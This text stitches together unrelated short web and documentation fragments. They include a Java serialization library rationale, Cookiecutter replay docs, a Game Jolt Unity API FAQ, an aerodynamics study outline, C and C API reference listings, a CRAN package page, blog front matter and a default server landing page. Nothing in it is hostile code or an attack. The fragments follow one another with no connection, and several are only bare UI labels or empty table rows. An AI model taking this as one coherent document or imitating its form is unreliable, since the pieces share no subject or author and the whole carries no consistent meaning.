A basic HTTP response with content, headers, and out-bound cookies
The class variable defaults specifies default values for content_type, charset and errors. These can be overridden for the current request via the registry.


"Oops, this page no longer exists, redirecting you to another more helpful page in 10 seconds (
click here
if you are not redirected).


| This inspection reports all instances of "magic numbers", literal numeric constants used without declaration, used in JavaScript code. "Magic numbers" can result in code whose intention is extremely unclear, and may result in errors if a "magic number" is changed in one code location but not another. The numbers 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 0L, 1L, 0.0, 1.0, 0.0F and 1.0F are not reported by this inspection. |
| Powered by InspectionJS |


Alternative implementation of serialization, using an annotation when the transient
keyword cannot
be used. Implement a protected method as follows in your hierarchy of classes you want to use this approach:
protected final Object writeReplace() throws NotSerializableException { return {@link org.ppwcode.util.reflect_I.serialization.SerializationHelpers#replace(java.io.Serializable) SerializationHelpers.replace(this)}; }
All subclasses inherited this method, and thus this serialization approach. In the class in which you have defined this method, and all its subclasses, you can now use the annotation {@link org.ppwcode.util.reflect_I.serialization.DoNotSerialize} on instance variables that you do not want to serialize. On deserialization, these instance variables will have they initial value they have after using the default constructor. This approach used reflection to read and write in instance variables, indifferent of their accessibility settings.
The rationale for this library is serialization in JPA based EJB applications. The technology probably has broader implementations though.
In JPA and similar technologies, you can define relationships (and other properties) of persistent beans (or
entities) to use lazy loading. Mostly this is done for downstream associations, most often
to-many associations. When transporting a persistent object out of the application layer to a client layer, via RMI,
it is serialized. It makes sense to not want to serialize the properties you have marked for lazy loading.  In OpenJPA, e.g., (and probably in other technologies too), if you serialize
a detached object, for which a to-many association has not been initialized, the collection property that expresses
the to-many association ends up null
after deserialization. This often is contrary to representation
invariants for to-many associations. In other words, the implementation of the methods of the deserialized object
is no longer guaranteed to be correct.
It makes great sense to make all properties marked for lazy loading transient
. However, in the JPA
context at least, the keyword transient
also has an effect on back end persistency. In the serialization
specification it is stated that transient
means that the property should not be persisted in any
persistency context, not only in the context of serialization. Security reasons are cited as the main reason.
See the serialization
specification, paragraph 1.13. In other words, we cannot use transient
to stop serialization
of our lazily loaded properties.
Luckily other ways of doing this are possible. We are looking however for a transparent, zero effort way of doing
this. The serialPersistentFields
approach is cumbersome: we have to remember to explicitly list
all instance variables we do want serialized in all classes (while the default is still that almost all
properties should be serialized). The private void writeObject(ObjectOutputStream stream) throws IOException
approach requires an explicit method in every class, where we explicitly implement serialization ourselves of
everything we want serialized. This is worse than then serialPersistentFields
approach.
The {@link java.io.Externalizable} approach works (see the experiments in the test code for this project) but
has a major documented drawback, namely that the methods are public
, and thus hardly transparent.
The chosen protected Object writeReplace() throws ObjectStreamException
approach is transparent,
automatic and clean. However, there is a documented problem with loops in the object graph that is serialized.
See the note to paragraph 3.7
in the serialization specification. We believe that in the context of the rationale for this library, this
is not a bad thing, as sending cyclic object graphs over the wire is probably a sign of bad design.
This serialization utility also tackles a long standing problem with serialization of ennum
s.
This workaround should be removed from this library once the issue is fixed.
Google "Can't deserialize enum" to find a lot of references, e.g.,
on the Sun forums, and
on developerWorks.
The problem seems to be that there is a long standing bug in the ORB included in the JRE / JDK (client-side of RMI-IIOP) when deserializing enums. When the client side is the IBM VM, there is no problem. The problem seems to exist in JDK 5 up until the last JDK 6 version today (4 dec 2008).
In this library, for persistent beans, we "recognize" enum properties, and serialize them in a custom way. The support is general, and can be applied in other places if you wish.


Models
Models:
Model Info:
Id
type
Model Name
Model Description
Load Model List
Load Model
Model Capabilities
Capability
Value
Columns
Id
Name
Field Type
Data Type
Alignment
Format
Agg Type
Default Agg Type
Available Agg Types
Child Of


---
layout: post
title: On remote working
date: '2018-08-30T12:13:00.002+01:00'
author: Phil Hale
tags:
modified_time: '2018-08-30T12:13:44.978+01:00'
blogger_id: tag:blogger.com,1999:blog-3610670596953898701.post-6397247897679623572
blogger_orig_url: http://www.philjhale.com/2018/08/on-remote-working.html
redirect_from: /2018/08/on-remote-working.html
---
I've been working at home for over two years now. There have been ups, there have been downs. I've certainly learnt a lot. Here are two posts I've written about working from home on Medium.
Rock at working remotely
Sharing your office with under fives


Developer || Designer || Maker
Travis is an active developer, designer, and learner in the tech space. Currently he builds Front End webapps and is figuring out Servers and such.


|
Game Jolt Unity API
v2.3.0
|
You are probably missing the EventSystem in your scene. Manually add one to your scene (GameObject > UI > EventSystem
) or make sure to use the API v2.0.1 or more so it is automatically added when you add the API to your scene (GameObject > GameJolt API Manager
).
You should sign in with your game token, not your password (you password is only used to log into GameJolt). You can find your token on GameJolt by clicking on your user picture then selecting Game Token
.
You are probably unlocking the trophy in the Update
loop, therefore triggering it on every frame. See this issue for more details.
Make sure you use the API v2.1.0
or higher and Unity 5.0.1
or higher. There is a bug in previous versions.
You can't use floats
directly as scores are saved as integer on the server. However, if you have a fixed number of decimals, you can convert your float
to int
before saving it (and use the score display string to still show a float
).
For example:
The sign-in methods accepts 2 callbacks, the first one returns as soon as the user is logged in, however some attributes (e.g. user.AvatarURL
) will not be populated yet. The second one returns once all the users attributes have been populated (minus user.Avatar
for which you have to manually call user.DownloadAvatar()
). Make sure to subscribe to the second one. See the tutorial for code examples.


This is the guidance for the Penny's Game.
To start the game, select a sequence that you think has the best chance to win.
Click the button "Initiate Gamers" to generate a computer player.
When the "Start Game" button is clicked, a series of Penney's games will be performed, and the scores of player and computer are recorded. A bar chart is also generated in terms of the results.


Replay Project Generation¶
New in Cookiecutter 1.1
On invocation Cookiecutter dumps a json file to ~/.cookiecutter_replay/
which enables you to replay later on.
In other words, it persists your input for a template and fetches it when you run the same template again.
Example for a replay file (which was created via cookiecutter gh:hackebrot/cookiedozer
):
{
"cookiecutter": {
"app_class_name": "FooBarApp",
"app_title": "Foo Bar",
"email"<EMAIL_ADDRESS>"full_name": "Raphael Pierzina",
"github_username": "hackebrot",
"kivy_version": "1.8.0",
"project_slug": "foobar",
"short_description": "A sleek slideshow app that supports swipe gestures.",
"version": "0.1.0",
"year": "2015"
}
}
To fetch this context data without being prompted on the command line you can use either of the following methods.
Pass the according option on the CLI:
cookiecutter --replay gh:hackebrot/cookiedozer
Or use the Python API:
from cookiecutter.main import cookiecutter
cookiecutter('gh:hackebrot/cookiedozer', replay=True)
This feature is comes in handy if, for instance, you want to create a new project from an updated template.
Custom replay file¶
New in Cookiecutter 2.0
To specify a custom filename, you can use the --replay-file
option:
cookiecutter --replay-file ./cookiedozer.json gh:hackebrot/cookiedozer
This may be useful to run the same replay file over several machines, in tests or when a user of the template reports a problem


Aerodynamics
- Flight Controls
- Primary
- Ailerons
- Elevator
- Stabilator
- Rudder
- Canard
- Secondary
- Flaps
- Trim Systems
- Spoiler
- Ground Effect
- Begins one wingspan above ground
- Effect greatly increases 1/2 winspan height
- Cause
- interference of airflow about airplane
- Vertical airflow restricted
- effects upwash
- effects downwash
- effects wingtip vortices
- Exponential effect
- problems
- cause lift without sufficient airspeed
- Stability
- Stable - returns to equilibrium after being disturbed
- center of pressure determines longitudinal stability
- CG behind CG limit
- inability to recover from stall
- less stable at all airspeeds
- types
- dynamic
- Positive
- Neutral
- neither decreases nor increases in amplitude
- A worn automobile shock absorber
- Negative
- increases and becomes more divergent
- static
- Positive
- tendencey to return to original state of equilibrium
- Neutral
- tendency of the aircraft to remain in a new condition
- Negative
- tendency of the aircraft to continue away from the original state
- types
- Lateral (Rolling)
- Stability nose to tail
- design factors
- Dihedral
- Sweepback
- Wing Location
- keel effect
- weight distribution
- Forces
- Lift
- Weight
- Thrust
- Drag
- Equalibrium
- Bernoulli's Principle
- Static Pressure + Dynamic Pressure = Total Pressure
- Air speed is faster over wing
- Pressure decrease above wing
- Air speed is slower under wing
- Pressure increase below wing
- Angle of Attack
- angle
- Wing Chord
- Line
- wing leading edge
- wing trailing edge
- Relative Wind
- stall
- angle constant
- when critical AOA is exceeded
- stalls at same indicated airspeed
- Not effected by
- weight
- loading
- airspeed
- attitude
- etc
- spin
- one wing stalls less than the other
- both wings are stalled but not in equal amounts
- Frost
- Cause
- collecting surface temp <= dew point adjacent air and dew point below freezing
- Problems
- Decreases Lift
- Increased Friction
- Increases Drag
- Can make take-off impossible
- Must be removed before flight


#include <stats.h>
Public Member Functions | |
| ProcessStat (char *name) | |
| void | incrSystemTicks (Time val) |
| void | incrUserTicks (Time val) |
| Time | getUserTime (void) |
| Time | getSystemTime (void) |
| void | incrMemoryAccess (void) |
| void | incrTLBmiss (void) |
| void | incrPageFault (void) |
| void | incrNumCharWritten (void) |
| void | incrNumCharRead (void) |
| void | incrNumDiskReads (void) |
| void | incrNumDiskWrites (void) |
| void | incrNumInstruction (void) |
| int | getNumInstruction (void) |
| void | Print (void) |
Private Attributes | |
| char | name [MAXSTRLEN] |
| Time | systemTicks |
| Time | userTicks |
| int | numInstruction |
| int | numDiskReads |
| int | numDiskWrites |
| int | numConsoleCharsRead |
| int | numConsoleCharsWritten |
| int | numMemoryAccess |
| int | numPageFaults |
| int | numTLBmiss |
Each thread fom a same process will modify the same ProcessState
The fields in this class are public to make it easier to update.
|
|
Initializes performance metrics to zero, when a process startups
|
|
|
|
|
|
|
|
|
|
|
|
Updates stats concerning a memory access (process and system level) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Increments the time spent in the operating system, at the process and system level
|
|
|
|
|
|
Increments the time spent in user mode, at the process and system level
|
|
|
Prints per-process statistics
|
|
|
name of the process
|
|
|
number of characters read from the keyboard
|
|
|
number of characters written to the display
|
|
|
number of disk read requests
|
|
|
number of disk write requests
|
|
|
|
|
|
number of Memory accesses
|
|
|
number of virtual memory page faults
|
|
|
number of misses when using the TLB
|
|
|
Time spent executing system code.
|
|
|
Time spent executing user code including memory accesses.
|


BloomingLeaf
Zoom In
Zoom Out
Font Size
Default
Increase
Decrease
EVO
Off % State
Intention Filter
Node Name:
Current Sat Value:
Satisfaction Value:
(no value)
None (⊥, ⊥)
Satisfied (F, ⊥)
Partially Satisfied (P, ⊥)
Partially Denied (⊥, P)
Denied (⊥, F)
Apply
Select an Intention to Apply Filter
Applied Intention Filters
Intention Name
Satisfaction Value
Remove
Remove all Intention filters
Clear All
Number of States
Navigate
Go
Filters
Remove Conflicts
Remove (⊥, ⊥)
Least Task Satisfied
Most Task Satisfied
Least Resource Satisfied
Most Resource Satisfied
Least Goal Satisfied
Most Goal Satisfied
Least Actor Involved
Most Actor Involved
Satisfaction of the Most Constrained Intention
Actions
Save & Close
Explore Next States
Close


| Top |
Functions
| gdouble | ncm_sf_sbessel () |
| void | ncm_sf_sbessel_taylor () |
| NcmSpline * | ncm_sf_sbessel_spline () |
Functions
ncm_sf_sbessel ()
gdouble ncm_sf_sbessel (gulong l
,gdouble x
);
Computes Spherical Bessel function $j_\ell(x)$.
ncm_sf_sbessel_taylor ()
void ncm_sf_sbessel_taylor (gulong l
,gdouble x
,gdouble *djl
);
Computes Spherical Bessel function power series coefficients up to order three, i.e., $$\left(j_\ell(x),\; j'_\ell(x), \frac{j''_\ell(x)}{2!}, \frac{j'''_\ell(x)}{3!}\right).$$
ncm_sf_sbessel_spline ()
NcmSpline * ncm_sf_sbessel_spline (gulong l
,gdouble xi
,gdouble xf
,gdouble reltol
);
Computes a spline approximation of the Spherical Bessel $j_\ell$ in the interval $[x_i, x_f]$.


Header 1 Navigation - beer suds image
Font -Custom Lobster
Header 2 background -beerbackground image
Navgation
Home
About
Image one
Imgage Two
Chart Colors: #ED9405 / #4AA331


Estimate influence networks from longitudinal bipartite relational data, where the longitudinal relations are continuous. The outputs are estimates of weighted influence networks among each actor type in the data set. The generative model is the Bipartite Longitudinal Influence Network (BLIN) model, a linear autoregressive model for these type of data. The supporting paper is “Inferring Influence Networks from Longitudinal Bipartite Relational Data”, which is in preparation by the same authors. The model may be estimated using maximum likelihood methods and Bayesian methods. For more detail on methods, see Marrs et. al. <arXiv:1809.03439>.
| Version: | 0.0.1 |
| Depends: | R (≥ 3.3.0) |
| Imports: | glmnet, stats, Matrix, MASS, abind, graphics, mvtnorm |
| Suggests: | knitr, knitcitations |
| Published: | 2018-09-21 |
| Author: | Frank W. Marrs [aut, cre], Benjamin W. Campbell [aut], Bailey K. Fosdick [aut], Skyler J. Cranmer [aut], Tobias B{"o}hmelt [aut] |
| Maintainer: | Frank W. Marrs <frank.marrs at colostate.edu> |
| License: | MIT + file LICENSE |
| NeedsCompilation: | no |
| CRAN checks: | blin results |
| Reference manual: | blin.pdf |
| Vignettes: |
Regression with Network Response |
| Package source: | blin_0.0.1.tar.gz |
| Windows binaries: | r-devel: blin_0.0.1.zip, r-release: blin_0.0.1.zip, r-oldrel: blin_0.0.1.zip |
| OS X binaries: | r-release: blin_0.0.1.tgz, r-oldrel: blin_0.0.1.tgz |
Please use the canonical form https://CRAN.R-project.org/package=blin to link to this page.


If you see this page, the WempServer is successfully installed and working. Further configuration is required if necessary.
For online documentation and support please refer to WempServer. WempServer dashboard is available at localhost.
Thank you for using WempServer.